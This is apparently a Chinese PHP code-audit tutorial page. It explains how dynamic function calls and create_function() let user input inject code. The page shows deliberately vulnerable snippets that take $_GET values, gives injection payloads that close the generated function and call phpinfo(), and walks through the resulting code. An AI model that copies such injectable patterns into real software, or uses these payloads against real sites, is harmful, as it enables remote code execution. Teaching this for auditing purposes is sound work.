计动态函数执行与匿名函数执行 · PHP学习

# 计动态函数执行与匿名函数执行一：动态函数执行：函数与函数之间的调用，可能会造成的漏洞。 ``` <pre class="calibre10">``` function a(){ echo "a"; } function b(){ echo "b"; } function c($param){ echo "c"; $param(); } c($_GET('c')); http://localhost?c=a //容易执行敏感的系统函数 http://localhost?c=phpinfo ``` ``` 二：匿名函数执行：匿名函数（Anonymous functions），也叫闭包函数（closures），允许临时创建一个没有指定名称的函数。最经常用作回调函数（callback）参数的值。 create\_function 创建匿名函数(PHP 7.2.0被废弃) create\_function()函数会在内部执行 eval() 在代码审计中，主要用来查找项目中的代码注入和回调后门的情况例子 ``` <pre class="calibre10">``` error_reporting(0); $sort_by = $_GET['sort_by']; $sorter = 'strnatcasecmp'; $databases=array('1234','4321'); $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);'; usort($databases, create_function('$a, $b', $sort_function)); ?> ``` ``` ``` <pre class="calibre10">``` http://localhost/test/1.php?sort_by='"]);}phpinfo();/* ``` ``` 还原实际的组合过程： ``` <pre class="calibre10">``` $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/* ``` ``` 匿名函数实际的执行： ``` <pre class="calibre10">``` function niming($a,$b){ return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/* } ``` ``` 回车换行整理一下： ``` <pre class="calibre10">``` function niming($a,$b){ return 1 * ' . $sorter . '($a["' . $sort_by '"]); } phpinfo();/* } ``` ``` ### 案例 2 `2.php` ``` <pre class="calibre10">``` <?php $c=$_GET['c']; $lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen($c));"); $array=array('reall long string here,boy','this','midding lenth','larget'); usort($array,$lambda); print_r($array); ?> ``` ``` `payload`的构造： ``` <pre class="calibre10">``` http://localhost/test/2.php?c=1));}phpinfo();/* ``` ``` 还原实际的组合过程： ``` <pre class="calibre10">``` $lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));"); ``` ``` 匿名函数实际的执行： ``` <pre class="calibre10">``` function ft($a,$b){ return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*)); } ``` ``` 回车换行整理一下： ``` <pre class="calibre10">``` function ft($a,$b){ return (strlen($a)-strlen($b)+" . "strlen(1)); } phpinfo(); /*)); } ``` ``` ``` <pre class="calibre10">``` $id=$_GET['id']; //$c(); $lambda=create_function('$a,$b','return ( strlen($a) - strlen($b)+'."strlen($id) );"); var_dump($lambda); $arr=array('reall long string here,body','this','midding length','larget'); usort($arr,$lambda); print_r($arr); //http://www.test.com/audit/test.php?id=1 //相当于 function lambda($a,$b){ return ( strlen($a) - strlen($b)+strlen(1) ); } //http://www.test.com/audit/test.php?id=1));}phpinfo();/* //相当于 function lambda($a,$b){ return ( strlen($a) - strlen($b)+strlen(1));}phpinfo();/* ) } ``` ``` ![](https://img.kancloud.cn/91/79/9179123d33d6aa0abfc33190c98a223b_1014x477.png) 上面的换成单行注释就不会报错 ``` <pre class="calibre10">``` http://www.test.com/audit/test.php?id=1));}phpinfo();// 可知：最后结果是 function lambda($a,$b){ return ( strlen($a) - strlen($b)+strlen(1));}phpinfo();// )} ``` ``` 总结：create\_function和eval最好别用，至少用户不能决定输出的内容